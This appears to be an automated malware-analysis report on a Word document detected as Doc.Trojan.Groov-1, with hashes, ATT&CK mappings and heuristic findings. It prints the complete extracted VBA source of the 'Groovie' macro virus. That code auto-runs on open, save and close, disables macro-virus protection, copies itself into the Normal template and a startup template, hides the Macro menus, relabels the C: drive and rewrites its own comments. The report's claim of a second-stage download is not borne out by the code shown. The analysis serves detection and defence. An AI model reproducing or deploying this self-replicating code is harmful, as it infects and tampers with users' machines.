Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6084968ec69f91d6…

MALICIOUS

Office (OLE)

184.0 KB Created: 2013-06-19 07:59:00 Authoring application: Microsoft Office Word First seen: 2015-09-21
MD5: 0558b39be3783486c9fbb5219cf3b5e0 SHA-1: ec97e2d9c2cb2fdc407a2c33ca40e1344092b39a SHA-256: 6084968ec69f91d66861654eb735b321972e09cd2b8702c31220513fc1e556d3
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1547.001 Registry Run Keys / Startup Folder

The sample contains critical heuristics indicating the presence of VBA macros designed for self-replication and disabling macro security. The ClamAV detection 'Doc.Trojan.Groov-1' further confirms its malicious nature. The VBA script likely attempts to download and execute a second-stage payload, a common tactic for malware distribution.

Heuristics 9

  • ClamAV: Doc.Trojan.Groov-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Groov-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell ("label c: groovie"), 0
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
            ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20356 bytes
SHA-256: ea4a5e1107fba640fd9f275c069c60412c1622e963a48f0f4b8f5b771dd01a15
Detection
ClamAV: Doc.Trojan.Groov-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "groovie"
Public I01 As String
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Public I02 As Boolean
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Public I03 As Boolean
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Public I04 As Boolean
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Public I05 As Boolean
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Public I06 As String
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Public I07 As Boolean
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Public I08 As Boolean
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Function I09()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If MacroContainer = NormalTemplate Then
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        I01 = "normal"
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        GoTo checkout
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    End If
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If MacroContainer = ActiveDocument Then I01 = "document"
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If MacroContainer = "data.dot" Then I01 = "orbit"
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
checkout:
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Function
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Function I10()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If Dir(Application.StartupPath + "\data.dot") = "data.dot" Then I02 = True
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        If ActiveDocument.VBProject.VBComponents(I).Name = "groovie" Then I04 = True
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    Next I
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    For I = 1 To NormalTemplate.VBProject.VBComponents.Count
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        If NormalTemplate.VBProject.VBComponents(I).Name = "groovie" Then I03 = True
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    Next I
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If GetAttr(NormalTemplate.FullName) = vbArchive + vbReadOnly Or GetAttr(NormalTemplate.FullName) = vbReadOnly Then I05 = True
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Function
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Function I11()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I09
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I10
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If I01 = "document" Then Call I12
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If I01 = "normal" Then Call I13
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If I01 = "orbit" Then Call I14
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If I05 = False Then CommandBars("tools").Controls("Macro").Delete
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If I05 = False Then CommandBars("tools").Controls("Templates and add-ins...").Delete
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Function
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Function I12()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    Application.VBE.ActiveVBProject.VBComponents("groovie").Export "c:\groovie.sys"
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If I03 = False And I05 = False Then
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        With NormalTemplate.VBProject
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        With .VBComponents.Import("c:\groovie.sys")
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    End If
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If I02 = False Then
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        If ActiveDocument.Saved = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        If I08 = False Then Documents.Open FileName:=I06
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        Shell ("label c: groovie"), 0
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        Windows(1).Close
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    End If
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Function
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Function I13()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Application.ScreenUpdating = False
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    Call I17
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If I04 = False And I07 = True Then
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        With ActiveDocument.VBProject
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        With .VBComponents.Import("c:\groovie.sys")
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        With Dialogs(wdDialogFileSummaryInfo)
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            .Comments = "ALT-F11 says it's groovie!"
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            .Execute
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    End If
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If I02 = False And I07 = True Then
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        If I08 = False Then Documents.Open FileName:=I06
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        Windows(1).Close SaveChanges:=wdSaveChanges
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    End If
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If I02 = False And I07 = False Then
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        Documents.Add Template:="", NewTemplate:=False
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        If ActiveDocument.Saved = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        Windows(1).Close SaveChanges:=wdSaveChanges
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    End If
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Application.ScreenUpdating = True
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Function
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Function I14()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Application.ScreenUpdating = False
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        If I03 = False And I05 = False Then
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            With NormalTemplate.VBProject
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            With .VBComponents.Import("c:\groovie.sys")
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            NormalTemplate.Save
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        End If
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        If I04 = False Then
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            With ActiveDocument.VBProject
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            With .VBComponents.Import("c:\groovie.sys")
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            With Dialogs(wdDialogFileSummaryInfo)
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
                .Comments = "ALT-F11 says it's groovie!"
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
                .Execute
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
            End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        End If
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Application.ScreenUpdating = True
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Function
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Function I15()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    Options.VirusProtection = False
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    Options.SaveNormalPrompt = False
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    Options.ConfirmConversions = False
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    I06 = ActiveDocument.FullName
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    Call I11
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Function
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Sub AutoOpen()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I15
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Sub
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Sub AutoClose()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
I08 = True
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I15
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Sub
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Sub AutoExit()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I15
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Sub
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Sub FileSaveAs()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I16
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I15
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Dialogs(wdDialogFileSaveAs).Show
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Sub
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Sub filesave()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I16
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I15
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Sub
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Sub fileclose()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
I08 = True
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I15
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
ActiveDocument.Close
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Sub
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Sub fileprint()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error Resume Next
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Call I15
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Dialogs(wdDialogFilePrint).Show
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Sub
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Sub ViewVBCode()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
MsgBox "It's GROOVIE", vbOKOnly, "�  ALT-F11  � says..."
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Sub
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Sub ToolsMacro()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Sub
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Sub FileTemplates()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Sub
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Function I17()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
On Error GoTo docek
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    If ActiveDocument.Name <> "" Then
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
        I07 = True
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    End If
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    GoTo over
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
docek:
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
    I07 = False
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
over:
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Function
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Function I16()
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Randomize
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
rn = Int(Rnd * 999)
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
With Application.VBE.ActiveVBProject.VBComponents("Groovie").codemodule
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
For x = 2 To 358 Step 2
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
.deletelines x
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
.InsertLines x, " ' " & Application.UserInitials & Now & rn & Application.UserName & rn & Application.ActivePrinter
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
Next x
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End With
 ' U2013-6-19 下午 03:52:21452侯娜娜452Kyocera KM-2540 KX(财务公用)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.